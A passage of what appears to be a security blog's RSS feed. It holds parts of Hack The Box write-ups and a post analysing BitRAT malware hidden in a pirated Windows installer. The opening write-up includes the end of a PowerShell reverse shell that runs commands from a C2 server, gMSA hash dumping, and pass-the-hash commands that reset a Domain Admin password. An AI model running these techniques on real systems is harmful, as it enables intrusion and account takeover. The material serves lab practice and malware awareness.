$<span class="hljs-selector-tag">StreamWriter</span> = <span class="hljs-selector-tag">New-Object</span> <span class="hljs-selector-tag">IO</span><span class="hljs-selector-class">.StreamWriter</span>($<span class="hljs-selector-tag">NetworkStream</span>)

# <span class="hljs-selector-tag">Writes</span> <span class="hljs-selector-tag">a</span> <span class="hljs-selector-tag">string</span> <span class="hljs-selector-tag">to</span> <span class="hljs-selector-tag">C2</span>
<span class="hljs-selector-tag">function</span> <span class="hljs-selector-tag">WriteToStream</span> ($<span class="hljs-selector-tag">String</span>) {
    # Create buffer to be used for next network stream read. Size is determined by the TCP client recieve buffer (65536 by default)
    [byte[]]$<span class="hljs-attribute">script</span>:Buffer = <span class="hljs-number">0</span>..$TCPClient.ReceiveBufferSize | % {<span class="hljs-number">0</span>}

    # <span class="hljs-selector-tag">Write</span> <span class="hljs-selector-tag">to</span> <span class="hljs-selector-tag">C2</span>
    $<span class="hljs-selector-tag">StreamWriter</span><span class="hljs-selector-class">.Write</span>($<span class="hljs-selector-tag">String</span> + '<span class="hljs-selector-tag">SHELL</span>&gt; ')
    $<span class="hljs-selector-tag">StreamWriter</span><span class="hljs-selector-class">.Flush</span>()
}

# <span class="hljs-selector-tag">Initial</span> <span class="hljs-selector-tag">output</span> <span class="hljs-selector-tag">to</span> <span class="hljs-selector-tag">C2</span>. <span class="hljs-selector-tag">The</span> <span class="hljs-selector-tag">function</span> <span class="hljs-selector-tag">also</span> <span class="hljs-selector-tag">creates</span> <span class="hljs-selector-tag">the</span> <span class="hljs-selector-tag">inital</span> <span class="hljs-selector-tag">empty</span> <span class="hljs-selector-tag">byte</span> <span class="hljs-selector-tag">array</span> <span class="hljs-selector-tag">buffer</span> <span class="hljs-selector-tag">used</span> <span class="hljs-selector-tag">below</span>.
<span class="hljs-selector-tag">WriteToStream</span> ''

# <span class="hljs-selector-tag">Loop</span> <span class="hljs-selector-tag">that</span> <span class="hljs-selector-tag">breaks</span> <span class="hljs-selector-tag">if</span> <span class="hljs-selector-tag">NetworkStream</span><span class="hljs-selector-class">.Read</span> <span class="hljs-selector-tag">throws</span> <span class="hljs-selector-tag">an</span> <span class="hljs-selector-tag">exception</span> <span class="hljs-selector-tag">-</span> <span class="hljs-selector-tag">will</span> <span class="hljs-selector-tag">happen</span> <span class="hljs-selector-tag">if</span> <span class="hljs-selector-tag">connection</span> <span class="hljs-selector-tag">is</span> <span class="hljs-selector-tag">closed</span>.
<span class="hljs-selector-tag">while</span>(($<span class="hljs-selector-tag">BytesRead</span> = $<span class="hljs-selector-tag">NetworkStream</span><span class="hljs-selector-class">.Read</span>($<span class="hljs-selector-tag">Buffer</span>, 0, $<span class="hljs-selector-tag">Buffer</span><span class="hljs-selector-class">.Length</span>)) <span class="hljs-selector-tag">-gt</span> 0) {
    # Encode command, remove last byte/newline
    $Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1)

    # Execute command and save output (including errors thrown)
    $Output = try {
            Invoke-Expression $Command 2&gt;&amp;1 | Out-String
        } <span class="hljs-selector-tag">catch</span> {
            $_ | Out-String
        }

    # <span class="hljs-selector-tag">Write</span> <span class="hljs-selector-tag">output</span> <span class="hljs-selector-tag">to</span> <span class="hljs-selector-tag">C2</span>
    <span class="hljs-selector-tag">WriteToStream</span> ($<span class="hljs-selector-tag">Output</span>)
}
# <span class="hljs-selector-tag">Closes</span> <span class="hljs-selector-tag">the</span> <span class="hljs-selector-tag">StreamWriter</span> <span class="hljs-selector-tag">and</span> <span class="hljs-selector-tag">the</span> <span class="hljs-selector-tag">underlying</span> <span class="hljs-selector-tag">TCPClient</span>
$<span class="hljs-selector-tag">StreamWriter</span><span class="hljs-selector-class">.Close</span>()
</code></pre>
<p>We did modify to put in our ip and port that is listening on our device.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741443007812/8d867b20-3d91-459d-9fc9-28c6fdd1b892.png" alt class="image--center mx-auto" /></p>
<p>and in our machine we got the connection:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741443029846/6703b9e2-4cf3-4bf7-904c-e7219cec3cc8.png" alt class="image--center mx-auto" /></p>
<p>Back to Bloodhound... when we mark our user(sierra.frye) as owned and select the option <code>Shortest Path to Domain Admins from Owned Principals</code> we see that sierra.frye is part of the ITSec group that has <code>ReadGMSAPassword</code> privileges over <strong>BIR-ADFS-GMSA</strong> and <strong>BIR-ADFS-GMSA</strong> has <code>GenericAll</code> privieges over the user <strong>TRISTAN.DAVIES</strong> who is a member of the <strong>domain admins</strong> group that we want to be apart of:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741443087602/57f41d7b-a61d-414d-9665-88e444ae0ef6.png" alt class="image--center mx-auto" /></p>
<p>Now we begin by abusing the <code>ReadGMSAPassword</code> privilege which from the blog at <a target="_blank" href="https://www.thehacker.recipes/ad/movement/dacl/readgmsapassword">https://www.thehacker.recipes/ad/movement/dacl/readgmsapassword</a> we decide to use the tool <a target="_blank" href="https://github.com/micahvandeusen/gMSADumper">https://github.com/micahvandeusen/gMSADumper</a> which works quite well...</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741443161384/df5838ab-a941-487d-835c-8255d2f28f73.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">python</span> <span class="hljs-selector-tag">gMSADumper</span><span class="hljs-selector-class">.py</span> <span class="hljs-selector-tag">-u</span> '<span class="hljs-selector-tag">sierra</span><span class="hljs-selector-class">.frye</span>' <span class="hljs-selector-tag">-p</span> '$$49=<span class="hljs-selector-tag">wide</span>=<span class="hljs-selector-tag">STRAIGHT</span>=<span class="hljs-selector-tag">jordan</span>=28$$18' <span class="hljs-selector-tag">-d</span> '<span class="hljs-selector-tag">search</span><span class="hljs-selector-class">.htb</span>'
<span class="hljs-selector-tag">Users</span> <span class="hljs-selector-tag">or</span> <span class="hljs-selector-tag">groups</span> <span class="hljs-selector-tag">who</span> <span class="hljs-selector-tag">can</span> <span class="hljs-selector-tag">read</span> <span class="hljs-selector-tag">password</span> <span class="hljs-selector-tag">for</span> <span class="hljs-selector-tag">BIR-ADFS-GMSA</span>$:  
&gt; <span class="hljs-selector-tag">ITSec</span>  
<span class="hljs-selector-tag">BIR-ADFS-GMSA</span>$:<span class="hljs-selector-pseudo">::e1e9fd9e46d0d747e1595167eedcec0f</span>  
<span class="hljs-selector-tag">BIR-ADFS-GMSA</span>$<span class="hljs-selector-pseudo">:aes256-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:06e03fa99d7a99ee1e58d795dccc7065a08fe7629441e57ce463be2bc51acf38</span>  
<span class="hljs-selector-tag">BIR-ADFS-GMSA</span>$<span class="hljs-selector-pseudo">:aes128-cts-hmac-sha1-96</span><span class="hljs-selector-pseudo">:dc4a4346f54c0df29313ff8a21151a42</span>
</code></pre>
<p>We were able to get the ntlm,aes256 and aes128 hash of the <strong>BIR-ADFS-GMSA</strong> user</p>
<p>With this we can use <code>pth-net</code> to abuse the <code>Generic-All</code> privileges and change the password of <strong>TRISTAN.DAVIES</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741443250661/69cb9299-367f-4103-b848-e09296d1330d.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">pth-net</span> <span class="hljs-selector-tag">rpc</span> <span class="hljs-selector-tag">password</span> "<span class="hljs-selector-tag">TRISTAN</span><span class="hljs-selector-class">.DAVIES</span>" '<span class="hljs-selector-tag">Password123</span>!' <span class="hljs-selector-tag">-U</span> "<span class="hljs-selector-tag">search</span><span class="hljs-selector-class">.htb</span>"/"<span class="hljs-selector-tag">BIR-ADFS-GMSA</span>$"%"000000000000000000000000000000  
00<span class="hljs-selector-pseudo">:e1e9fd9e46d0d747e1595167eedcec0f"</span> <span class="hljs-selector-tag">-S</span> "10<span class="hljs-selector-class">.10</span><span class="hljs-selector-class">.11</span><span class="hljs-selector-class">.129</span>"  
<span class="hljs-selector-tag">E_md4hash</span> <span class="hljs-selector-tag">wrapper</span> <span class="hljs-selector-tag">called</span>.  
<span class="hljs-selector-tag">HASH</span> <span class="hljs-selector-tag">PASS</span>: <span class="hljs-selector-tag">Substituting</span> <span class="hljs-selector-tag">user</span> <span class="hljs-selector-tag">supplied</span> <span class="hljs-selector-tag">NTLM</span> <span class="hljs-selector-tag">HASH</span>...
</code></pre>
<p>I tried using <code>pth-winexe</code> but i could not get a cmd session as the BIR-ADFS-GMSA user so I opted to change the password directly using <code>pth-net</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741443577710/d24db942-c957-441a-ad94-23963219b989.png" alt class="image--center mx-auto" /></p>
<p>We can confirm that the password is changed:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741443611178/336b9ec4-4ede-4b5d-bb2e-e4c88265eb71.png" alt class="image--center mx-auto" /></p>
<p>Now using <code>impacket-wmiexec</code> we can try to access as tristan.davies to get the root flag because we are now part of the Domain Admins.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741443672719/119a785b-d168-4168-a59c-6b45e9d841c3.png" alt class="image--center mx-auto" /></p>
<p>Happy Hacking!!!</p>
]]></content:encoded></item><item><title><![CDATA[Windows Installer? more like Remote Access Trojan 💀: Unveiling the BitRAT Menace]]></title><description><![CDATA[Today, I'll take you on a journey through a recent encounter that sheds light on the tactics employed by cyber criminals to spread malware. Brace yourself


So I was casually browsing through https://]]></description><link>https://x401a.hashnode.dev/windows-installer-more-like-remote-access-trojan-unveiling-the-bitrat-menace</link><guid isPermaLink="true">https://x401a.hashnode.dev/windows-installer-more-like-remote-access-trojan-unveiling-the-bitrat-menace</guid><category><![CDATA[Malware]]></category><category><![CDATA[hacker]]></category><category><![CDATA[Windows]]></category><category><![CDATA[ransomwareattack]]></category><category><![CDATA[Trojan]]></category><category><![CDATA[rat]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[securityawareness]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[Isayar17]]></dc:creator><pubDate>Sun, 21 Apr 2024 00:20:17 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1713644740348/71f28c30-6109-4e3a-b402-b180b2f926b2.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Today, I'll take you on a journey through a recent encounter that sheds light on the tactics employed by cyber criminals to spread malware. Brace yourself</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1713645095454/324d0375-146c-46c1-8a19-2f7050a5275e.gif" alt="" style="display:block;margin:0 auto" />

<p>So I was casually browsing through <a href="https://thepiratebay.org">https://thepiratebay.org</a> (was browsing securely by the way) when I stumbled upon a peculiar torrent, in particular the name of the torrent was <a href="https://thepiratebay.org/description.php?id=63313433"><strong>Windows 10 22H2 + LTSC 21H2 (x64) 20in1 with inbuilt Office 2021 - Rjaa</strong></a></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1713645474090/34724f9d-67ec-45d5-a70e-21f8d505b88d.png" alt="" style="display:block;margin:0 auto" />

<p>We see that its inclusive of Windows 10 v22H2 19045.2130 and Windows 10 Enterprise LTSC v21H2 19044.2130 editions, both featuring 5 Russian and 5 English x64 versions, it includes updates up to October 2022. Additionally, it incorporates essential system libraries such as the C++ Redistributable Package. With customizable installation options, it offers the choice of including or excluding Word, Excel, PowerPoint, Access, Publisher, Outlook, and OneNote, alongside the availability of MSDaRT for added convenience.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1713645746303/8b9c3559-a79e-4c27-85b3-2d403886dd1f.png" alt="" style="display:block;margin:0 auto" />

<p>Now this intrigued me, So I downloaded the Iso and used Rufus to create a bootable USB drive... now during the creation of the bootable drive, Windows Defender was able to detect malware, it quarantined the malware and notified me... this is because When Rufus creates a bootable drive from ISO files, it swiftly formats the selected USB drive, copies the contents of the ISO file, and configures it to be bootable according to your chosen settings, such as partition scheme and file system. In the process of <strong>copying contents of the ISO file</strong> malware can be detected by Windows Defender Real Time protection and that's how it was able to detect.</p>
<p>I was still able to create the bootable drive nonetheless... I wanted to create the drive again but this time with Windows Defender off, so that the key activation files don't get deleted, but I got a thought that i should just go through with it even if Windows defender had removed some of the key files that would be crucial in doing the activation to just see the behavior without the files, after all I'm a security researcher and sometimes I love experimenting<a href="https://emojipedia.org/face-with-tears-of-joy">😂</a><a href="https://emojipedia.org/wine-glass">🍷</a></p>
<p>Once the bootable drive was created by Rufus. I took an old computer and boot from the USB. i was then met by this screen... By the looks of it this is not your typical windows installer <a href="https://emojipedia.org/face-with-tears-of-joy">😂😂😂</a></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1713648251479/c6899a2a-9568-4874-9eeb-19ce43c66813.jpeg" alt="" style="display:block;margin:0 auto" />

<p>just pressed the enter key...</p>
<p>then...</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1713648299301/6c71b865-e8c5-4dd9-a855-4bc47d0f2106.jpeg" alt="" style="display:block;margin:0 auto" />

<p>after loading I got...</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1713648345894/a0c2705d-6426-4854-ae67-3fc1616b9803.jpeg" alt="" style="display:block;margin:0 auto" />

<p>I went with the first choice... and clicked <strong>Next</strong></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1713648433500/e0ffc825-c22f-44e9-ac86-24c686d12a5d.jpeg" alt="" style="display:block;margin:0 auto" />

<p>Now this is where the interesting part comes in <a href="https://emojipedia.org/face-with-tears-of-joy">😂</a> The moment you've been waiting for... So when I clicked <strong>Install</strong> I got</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1713648922006/805eada6-bcdb-4f74-87bc-38600f506110.jpeg" alt="" style="display:block;margin:0 auto" />

<p>I then selected <code>Windows 10 Professional</code> and also down below I had ticked the <code>Edition with pre-installed Microsoft Office</code> , doing so led to an error message that two files were missing the first file was <code>AAct_x64.exe</code> and the second file was <code>W10DigitalActivation.exe</code> these were the files that were flagged as malicious by Windows Defender, quarantined and later I was notified about the malicious activity that was going on.</p>
<p><em>The first file(</em><code>AAct_x64.exe)</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1713649217036/83752fb0-ab75-46db-8cae-0abc06ddd6ee.jpeg" alt="" style="display:block;margin:0 auto" />

<p><em>The second file(</em><code>W10DigitalActivation.exe)</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1713649362155/b40382c0-7da1-4212-8e45-5e4f4b860db7.jpeg" alt="" style="display:block;margin:0 auto" />

<p>So on doing an analysis online concerning the 2 files the first one(<code>AAct_x64.exe)</code> was just the normal bad.</p>
<p>The file <code>AAct_x64.exe</code> is part of the <a href="https://www.quora.com/On-Windows-what-is-AAct-exe-Should-I-remove-it">KMS</a> (Key Managing Services) activator that was used to obtain your illegal/cracked copy of Windows 10. Though Its still not cool to pirate stuff... just buy a genuine copy of Windows 10 or 11(the one that you prefer).</p>
<p>Now the second file(<code>W10DigitalActivation.exe)</code> is not just a normal file... Its a RAT(Remote Access Trojan) called BitRAT, It has disguised itself as a Windows Product Key Verification Tool, It was discovered by ASEC(AhnLab SEcurity Intelligence Center) like 2 years ago... you can get more details about it from <a href="https://asec.ahnlab.com/en/32781/">https://asec.ahnlab.com/en/32781/</a> They clearly indicate the intricacies of this malware... So The file <code>W10DigitalActivation.exe</code> is actually a 7z SFX (Self-Extracting Archive) file, when executed it creates two files <code>W10DigitalActivation.msi</code> and <code>W10DigitalActivation_Temp.msi</code> the second file respectively(<code>W10DigitalActivation_Temp.msi)</code> is actually a dropper for additional malware.</p>
<p><em>A RAT, or Remote Access Trojan, is a stealthy form of malware enabling cyber criminals to remotely control compromised systems.They can evade detection while capturing keystrokes, screenshots, and more. Used for espionage, fraud, and sabotage, combating RATs requires robust cybersecurity measures like software updates and safe cyber security habits like for our instance using genuine software.</em></p>
<p><em>image source(</em><a href="https://asec.ahnlab.com/en/32781/"><em>https://asec.ahnlab.com/en/32781/</em></a><em>)</em></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1713652299413/a70131ad-5443-4c44-b8d3-39259de05da4.png" alt="" style="display:block;margin:0 auto" />

<p><a href="https://asec.ahnlab.com/en/32781/">When it's activated, it connec</a>ts to specific C2 server(command and control server). It then shares encrypted information with these servers. Afterward, it decrypts this information to find a web address where it can download more harmful software.</p>
<p>The harmful software, from the web address is another dropper(we'll call this the <strong>second dropper</strong>) that actually drops the BitRAT malware. The harmful software is installed in the Windows Startup Program folder which then proceeds to download the BitRAT malware and place it in the %TEMP% path as Software_Reporter_Tool.exe.</p>
<p><strong>N.B:</strong></p>
<p>The harmful software(<strong>second dropper</strong>) is sophisticated in that it uses Powershell to add itself as an exclusion path in Windows Defender and it adds the BitRAT process Software_Reporter_Tool.exe as an excluded process by Windows Defender.</p>
<p><em>image source(</em><a href="https://asec.ahnlab.com/en/32781/"><em>https://asec.ahnlab.com/en/32781/)</em></a></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1713653965331/13123dd0-2531-4c5d-8329-b77b7b6dce18.png" alt="" style="display:block;margin:0 auto" />

<p>If we had installed it... the actual file that would have done the activation would have been the 1st one, the 2nd one was just a way for the attackers to gain access to your computer without you knowing... When they have that access they can decide to upload a Ransomware or even just steal sensitive information. Imagine storing sensitive work files and important confidential information about you in such a computer only to find its files are encrypted by a ransomware or even find an anonymous email claiming they have sensitive information about you(they obtained from that compromised computer).... There is even a possibility of the hackers gaining access to large network enterprise environments through this... its that serious!</p>
<p><a href="https://asec.ahnlab.com/en/32781/">Today was my lucky day... I</a> had just stumbled upon a sophisticated malware one that has been perfectly created to social engineer someone into thinking they have hit the jackpot with being able to install an activated version of Windows 10 together with an activated version of Office 2021<a href="https://emojipedia.org/face-with-tears-of-joy">😂</a> when we all know the reality of whats going on... (they have actually created a persistence for hackers to get access to their machine)</p>
<p>Jokes aside... as a kid I used to notice the workers at the cyber cafes and dudes who sell computers use such installers in setting up machines... its a security risk to be honest... and yet the same computers will be used by unsuspecting customers... they might enter sensitive banking details or just personal details that attackers would have access to.</p>
<p>BitRAT is not friendly and can also be delivered through other means... not only through pirated software.</p>
<p><em>source(</em><a href="https://www.itworldcanada.com/post/bitrat-malware-caught-stealing-financial-information"><em>https://www.itworldcanada.com/post/bitrat-malware-caught-stealing-financial-information</em></a><em>)</em></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1713654982111/d813a391-96e5-420c-a803-81228602b795.png" alt="" style="display:block;margin:0 auto" />

<p>Speaking of underground Cybercrime web markets and forums... if we go to a darknet site called <strong>Darknet Home (</strong><a href="http://catalogpddg2rhr2qifm5eyr66clhty5hmbg4l4ygratqkikejg6uqid.onion/">http://catalogpddg2rhr2qifm5eyr66clhty5hmbg4l4ygratqkikejg6uqid.onion/</a>) as shown below... Its like a directory you can use to search for Tor hidden services as it says...</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1713655297190/aedbd3ce-46b4-4a99-9411-b95875b73106.png" alt="" style="display:block;margin:0 auto" />

<p>Then we look up BitRat... we get to see that at some point once it was being sold 10% off... this just shows how it prevailed in the underground forums and cyber criminal marketplaces as shown below....</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1713655623290/9e65219c-14e7-44b1-9633-0d687a0a93a2.png" alt="" style="display:block;margin:0 auto" />

<p>The site on the official BitRAT sale is down today as shown below... but that does not mean that there are no cyber criminals out there who have weaponized it to probably become better than it was in the past... as of now this version is easily identifiable by Windows Defender and other Antivirus Vendors...</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1713655918839/b52836cb-6a29-40c7-99d0-a0341ac2c830.png" alt="" style="display:block;margin:0 auto" />

<p>The trick is how the cyber criminals social engineer people into actually turning off their Antivirus when doing the installation of pirated software which leads to them giving access to the hackers <strong>RATs(Remote Access Trojans)</strong> and <strong>Ransomwares</strong><a href="https://emojipedia.org/face-with-tears-of-joy">😂</a><a href="https://emojipedia.org/skull">💀</a> Its true... there was a Ransomware identified by the MalwareHunterTeam on <a href="https://twitter.com/malwrhunterteam/status/1735031666165367222">X</a> called the Albabat Ransomware which used the same file name <code>W10DigitalActivation.exe</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1713656120493/39879df7-3d84-4826-8383-f29e9ec8518e.png" alt="" style="display:block;margin:0 auto" />

<p>Imagine deactivating Windows Defender or just pretty much your Antivirus just because the text file in that so called "Activator tool" told you to then when you execute that so called "Activator Tool" you get this<a href="https://emojipedia.org/face-with-tears-of-joy">😂😂</a> check below....</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1713656622758/c4734845-f5e0-4327-8f33-927ff88e5c6a.png" alt="" style="display:block;margin:0 auto" />

<p>You wouldn't want that now, would you?<a href="https://emojipedia.org/face-with-tears-of-joy">😂</a><a href="https://emojipedia.org/skull">💀</a> So be cyber aware and ensure to follow good practices to safeguard yourself and your digital assets from malicious threats lurking in the digital realm. Have a good time<a href="https://emojipedia.org/hundred-points">💯💯💯</a></p>
<p><a href="https://www.buymeacoffee.com/x401a"><img src="https://cdn.buymeacoffee.com/buttons/v2/default-blue.png" alt="Buy Me A Coffee" /></a></p>
]]></content:encoded></item><item><title><![CDATA[Flight to Domination: Enumeration, Tunneling and NTLM Theft – Unleashing the Power of Service Accounts for Privilege escalation.]]></title><description><![CDATA[Initial Reconnaissance
So we begin by doing an Nmap scan on the machine using the bash script.

result=$(nmap -p- --min-rate=1000 -Pn  -T4 10.129.215.167   | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,$//' | tr -d '%');nmap -p$result -Pn...]]></description><link>https://x401a.hashnode.dev/flight-to-domination-enumeration-tunneling-and-ntlm-theft-unleashing-the-power-of-service-accounts-for-privilege-escalation</link><guid isPermaLink="true">https://x401a.hashnode.dev/flight-to-domination-enumeration-tunneling-and-ntlm-theft-unleashing-the-power-of-service-accounts-for-privilege-escalation</guid><category><![CDATA[#cybersecurity]]></category><category><![CDATA[Active Directory]]></category><category><![CDATA[lateral movement ]]></category><category><![CDATA[ntlm theft]]></category><category><![CDATA[juicy potato]]></category><dc:creator><![CDATA[Isayar17]]></dc:creator><pubDate>Sat, 21 Oct 2023 23:36:19 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1697839175174/2ece568d-2566-49fe-812a-bda05f59fe0a.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697839372584/e64ee409-91b3-4695-afcf-84fc792c53d8.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-initial-reconnaissance"><strong>Initial Reconnaissance</strong></h3>
<p>So we begin by doing an <code>Nmap</code> scan on the machine using the bash script.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697878860963/ee778718-1990-40be-9d91-6329fa9abeec.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">result</span>=$(<span class="hljs-selector-tag">nmap</span> <span class="hljs-selector-tag">-p-</span> <span class="hljs-selector-tag">--min-rate</span>=1000 <span class="hljs-selector-tag">-Pn</span>  <span class="hljs-selector-tag">-T4</span> 10<span class="hljs-selector-class">.129</span><span class="hljs-selector-class">.215</span><span class="hljs-selector-class">.167</span>   | <span class="hljs-selector-tag">grep</span> '^<span class="hljs-selector-attr">[0-9]</span>' | <span class="hljs-selector-tag">cut</span> <span class="hljs-selector-tag">-d</span> '/' <span class="hljs-selector-tag">-f</span> 1 | <span class="hljs-selector-tag">tr</span> '\<span class="hljs-selector-tag">n</span>' ',' | <span class="hljs-selector-tag">sed</span> '<span class="hljs-selector-tag">s</span>/,$//' | <span class="hljs-selector-tag">tr</span> <span class="hljs-selector-tag">-d</span> '%');<span class="hljs-selector-tag">nmap</span> <span class="hljs-selector-tag">-p</span>$<span class="hljs-selector-tag">result</span> <span class="hljs-selector-tag">-Pn</span>  <span class="hljs-selector-tag">-sC</span> <span class="hljs-selector-tag">-sV</span> 10<span class="hljs-selector-class">.129</span><span class="hljs-selector-class">.215</span><span class="hljs-selector-class">.167</span>  <span class="hljs-selector-tag">-oA</span> <span class="hljs-selector-tag">flight</span>
</code></pre>
<p>so the script is a combination of two <code>nmap</code> commands simply identify all the ports on the machine and then detect the technologies running on the ports, I had explained earlier what this <code>nmap</code> script does in a more verbose manner at the forest machine that we pwned. Here is the link to the article... Read the <code>nmap</code> reconnaissance(information gathering) section... (<a target="_blank" href="https://x401a.hashnode.dev/undercover-in-the-forest-unmasking-asreproasting-and-dcsync">https://x401a.hashnode.dev/undercover-in-the-forest-unmasking-asreproasting-and-dcsync</a>)</p>
<p>so after doing the scan, we get the output:</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">Nmap</span> <span class="hljs-selector-tag">scan</span> <span class="hljs-selector-tag">report</span> <span class="hljs-selector-tag">for</span> 10<span class="hljs-selector-class">.129</span><span class="hljs-selector-class">.215</span><span class="hljs-selector-class">.167</span>
<span class="hljs-selector-tag">Host</span> <span class="hljs-selector-tag">is</span> <span class="hljs-selector-tag">up</span> (0<span class="hljs-selector-class">.66s</span> <span class="hljs-selector-tag">latency</span>).

<span class="hljs-selector-tag">PORT</span>      <span class="hljs-selector-tag">STATE</span> <span class="hljs-selector-tag">SERVICE</span>       <span class="hljs-selector-tag">VERSION</span>
53/<span class="hljs-selector-tag">tcp</span>    <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">domain</span>        <span class="hljs-selector-tag">Simple</span> <span class="hljs-selector-tag">DNS</span> <span class="hljs-selector-tag">Plus</span>
80/<span class="hljs-selector-tag">tcp</span>    <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">http</span>          <span class="hljs-selector-tag">Apache</span> <span class="hljs-selector-tag">httpd</span> 2<span class="hljs-selector-class">.4</span><span class="hljs-selector-class">.52</span> ((<span class="hljs-selector-tag">Win64</span>) <span class="hljs-selector-tag">OpenSSL</span>/1<span class="hljs-selector-class">.1</span><span class="hljs-selector-class">.1m</span> <span class="hljs-selector-tag">PHP</span>/8<span class="hljs-selector-class">.1</span><span class="hljs-selector-class">.1</span>)
| <span class="hljs-selector-tag">http-methods</span>: 
|_  <span class="hljs-selector-tag">Potentially</span> <span class="hljs-selector-tag">risky</span> <span class="hljs-selector-tag">methods</span>: <span class="hljs-selector-tag">TRACE</span>
|_<span class="hljs-selector-tag">http-title</span>: <span class="hljs-selector-tag">g0</span> <span class="hljs-selector-tag">Aviation</span>
135/<span class="hljs-selector-tag">tcp</span>   <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">msrpc</span>         <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">RPC</span>
139/<span class="hljs-selector-tag">tcp</span>   <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">netbios-ssn</span>   <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">netbios-ssn</span>
389/<span class="hljs-selector-tag">tcp</span>   <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">ldap</span>          <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">Active</span> <span class="hljs-selector-tag">Directory</span> <span class="hljs-selector-tag">LDAP</span> (<span class="hljs-selector-tag">Domain</span>: <span class="hljs-selector-tag">flight</span><span class="hljs-selector-class">.htb0</span>., <span class="hljs-selector-tag">Site</span>: <span class="hljs-selector-tag">Default-First-Site-Name</span>)
445/<span class="hljs-selector-tag">tcp</span>   <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">microsoft-ds</span>?
464/<span class="hljs-selector-tag">tcp</span>   <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">kpasswd5</span>?
593/<span class="hljs-selector-tag">tcp</span>   <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">ncacn_http</span>    <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">RPC</span> <span class="hljs-selector-tag">over</span> <span class="hljs-selector-tag">HTTP</span> 1<span class="hljs-selector-class">.0</span>
636/<span class="hljs-selector-tag">tcp</span>   <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">tcpwrapped</span>
3269/<span class="hljs-selector-tag">tcp</span>  <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">tcpwrapped</span>
5985/<span class="hljs-selector-tag">tcp</span>  <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">http</span>          <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">HTTPAPI</span> <span class="hljs-selector-tag">httpd</span> 2<span class="hljs-selector-class">.0</span> (<span class="hljs-selector-tag">SSDP</span>/<span class="hljs-selector-tag">UPnP</span>)
|_<span class="hljs-selector-tag">http-title</span>: <span class="hljs-selector-tag">Not</span> <span class="hljs-selector-tag">Found</span>
9389/<span class="hljs-selector-tag">tcp</span>  <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">mc-nmf</span>        <span class="hljs-selector-class">.NET</span> <span class="hljs-selector-tag">Message</span> <span class="hljs-selector-tag">Framing</span>
49667/<span class="hljs-selector-tag">tcp</span> <span class="hljs-selector-tag">open</span>  <span class="hljs-selector-tag">msrpc</span>         <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">RPC</span>
